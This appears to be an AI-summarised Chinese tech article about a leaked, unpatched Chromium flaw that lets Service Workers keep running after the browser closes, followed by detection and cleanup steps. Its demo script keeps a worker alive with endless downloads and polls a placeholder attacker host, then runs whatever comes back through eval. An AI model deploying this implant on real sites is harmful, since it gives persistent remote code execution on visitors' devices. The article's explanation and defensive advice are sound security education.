Chromium Service Worker 漏洞泄露:浏览器关了,JS 还在跑

2026-05-22 33 预计阅读时间:1 分钟
来源:oschina.net AI 摘要 原文链接

免责声明:本文为 AI 摘要整理,建议结合原文阅读。摘要可能省略上下文、版本差异或边界条件,不作为官方说明。

预计阅读时间:9 分钟

谷歌最近不小心把一个未修复 Chromium 漏洞的细节公开了——这个漏洞的核心问题:浏览器关掉之后,JavaScript 依然可以通过 Service Worker 在后台持续运行,攻击者借此能在设备上执行远程代码。安全研究员 Lyra Rebane 在 2022 年 12 月就报告了这个漏洞并被确认有效,但修复迟迟没有落地,而泄露让细节提前暴露在了所有人面前。

漏洞机制:Service Worker 的"不死"特性

Service Worker 本身是 Chromium 提供的合法后台执行机制,设计初衷是支持离线缓存、推送通知、后台同步等功能。正常情况下,浏览器关闭后,Service Worker 应该进入休眠或被终止。

但这个漏洞的关键在于:攻击者可以构造一个永远不会自然终止的 Service Worker。最典型的手法是让 Service Worker 持续发起下载任务或其他长耗时操作,使其始终处于"活跃"状态,不会被浏览器的生命周期管理回收。

一旦 Service Worker 拒不死,它就变成了一个驻留在用户设备上的后台进程——可以持续执行 JavaScript、与远程服务器通信、下载并执行更多代码。这本质上就是一个持久化的远程代码执行(RCE)载体。

攻击链拆解

完整的攻击路径大致如下:

  1. 诱骗访问:用户访问一个恶意站点(或已被入侵的合法站点)。
  2. 注册 Service Worker:站点通过 navigator.serviceWorker.register() 注册一个恶意 Worker 脚本,并设置合理的 scope 让它接管页面请求。
  3. 构造不死任务:Worker 内部启动一个永不完成的任务(如循环下载大文件、定时 fetch、保持 WebSocket 连接),阻止浏览器将其回收。
  4. 浏览器关闭后存活:用户关掉浏览器,甚至关掉所有窗口,Service Worker 仍在后台运行。
  5. 远程指令执行:Worker 通过定时 fetch 或推送通道从攻击者服务器获取新指令,动态执行任意 JavaScript 代码。

最危险的一点:用户甚至不需要再次访问那个恶意站点。Service Worker 已经注册在浏览器中,它的生命周期独立于任何具体页面。

模拟不死 Service Worker 的核心模式

下面是一个简化演示,展示 Service Worker 如何通过持续任务拒绝被回收。这是用于理解漏洞原理的演示代码,切勿用于恶意目的。

// malicious-sw.js — 演示性 Service Worker 脚本
// 核心思路:通过永不结束的下载循环保持 Worker 活跃

const TARGET_URL = 'https://example.com/largefile.bin'; // 替换为实际大文件 URL
const POLL_INTERVAL = 30_000; // 30 秒轮询一次指令服务器
const CMD_SERVER = 'https://attacker.example.com/cmd';

// 持续下载循环:每次下载完成后立即开始下一次
async function endlessDownload() {
  while (true) {
    try {
      const resp = await fetch(TARGET_URL);
      // 读取响应体以消耗完整流,确保下载行为真实发生
      await resp.arrayBuffer();
      console.log('[sw] download cycle complete, restarting...');
    } catch (e) {
      // 即使失败也不退出,等一小段时间后重试
      console.log('[sw] download failed, retrying in 5s:', e.message);
      await new Promise(r => setTimeout(r, 5000));
    }
  }
}

// 定期从指令服务器获取并执行新代码
async function pollCommands() {
  while (true) {
    try {
      const resp = await fetch(CMD_SERVER);
      const cmd = await resp.text();
      if (cmd) {
        // 动态执行远程指令 —— 这是 RCE 的关键步骤
        eval(cmd);
      }
    } catch (e) {
      console.log('[sw] command poll failed:', e.message);
    }
    await new Promise(r => setTimeout(r, POLL_INTERVAL));
  }
}

// 同时启动两个无限循环,确保 Worker 始终有活跃任务
endlessDownload();
pollCommands();

注册这个 Worker 只需一行:

// 在恶意页面上执行
navigator.serviceWorker.register('/malicious-sw.js', { scope: '/' });

用户访问一次该页面,Worker 就注册成功了。之后即使浏览器关闭,只要 Chromium 的后台进程还在,这个 Worker 就会继续运行。

检查和清理:你能做什么

作为开发者或安全运维人员,检测和清除恶意 Service Worker 是应对这类威胁的关键步骤。

检查当前注册的 Service Worker:

# Chromium/Chrome 中打开以下地址查看所有已注册的 Service Worker
# chrome://serviceworker-internals/
# 或通过 DevTools → Application → Service Workers 面板查看

也可以用 JavaScript 在页面上检测:

// 检查当前 origin 下所有注册的 Service Worker
navigator.serviceWorker.getRegistrations().then(regs => {
  regs.forEach(reg => {
    console.log('SW scope:', reg.scope,
                'state:', reg.active?.state,
                'scriptURL:', reg.active?.scriptURL);
    // 如果发现可疑 scope 或 scriptURL,立即注销
    // reg.unregister();
  });
});

批量清理所有 Service Worker(紧急处置):

// 一键注销当前 origin 下所有 Service Worker
navigator.serviceWorker.getRegistrations().then(regs => {
  regs.forEach(reg => reg.unregister().then(success => {
    console.log('Unregistered:', reg.scope, success);
  }));
});

从系统层面彻底杀死 Chromium 后台进程:

# Linux/macOS — 杀掉所有 Chrome/Chromium 后台进程
pkill -f chrome
pkill -f chromium

# Windows — PowerShell
Get-Process -Name chrome,chromium | Stop-Process -Force

注意:仅仅关闭浏览器窗口是不够的。Chromium 的后台进程(用于推送通知、后台同步等)可能继续存活,这正是该漏洞赖以生存的环境。

风险边界与现实影响

这个漏洞的严重性取决于几个条件:

  • 桌面端影响更大:桌面版 Chromium 关闭窗口后后台进程更容易持续运行;移动端系统对后台进程管控更严格,存活概率相对较低。
  • 需要用户访问恶意站点一次:这是唯一的触发门槛,之后完全不需要再次交互。
  • eval 远程代码是致命环节:不死 Worker 本身只是持久化载体,但如果加上动态代码执行,就变成了完整的 RCE 链。
  • 企业环境风险更高:内网设备一旦被植入不死 Worker,可以长期作为跳板,即使用户重启浏览器也无法清除(除非清除浏览数据或杀掉后台进程)。

应对清单

动作 说明
检查 chrome://serviceworker-internals/ 识别可疑的 Service Worker 注册
注销不明 Worker getRegistrations() + unregister() 清除
清除浏览数据 "清除浏览数据"中选择"Cookie 及其他站点数据"会一并清除 Service Worker 注册
杀掉后台进程 pkill -f chrome 或系统级强制终止
关注 Chromium 更新 该漏洞尚未修复,后续补丁发布后及时升级
限制 Service Worker 注册范围 站点部署时用最小 scope,避免 / 全局接管

这个漏洞暴露了一个架构层面的矛盾:Service Worker 的设计目标是"让 Web 应用像原生应用一样可靠运行",但这个"可靠"恰恰给了攻击者持久化的土壤。在修复落地之前,理解它的存活机制并学会检查和清理,是最实际的防御手段。


相关推荐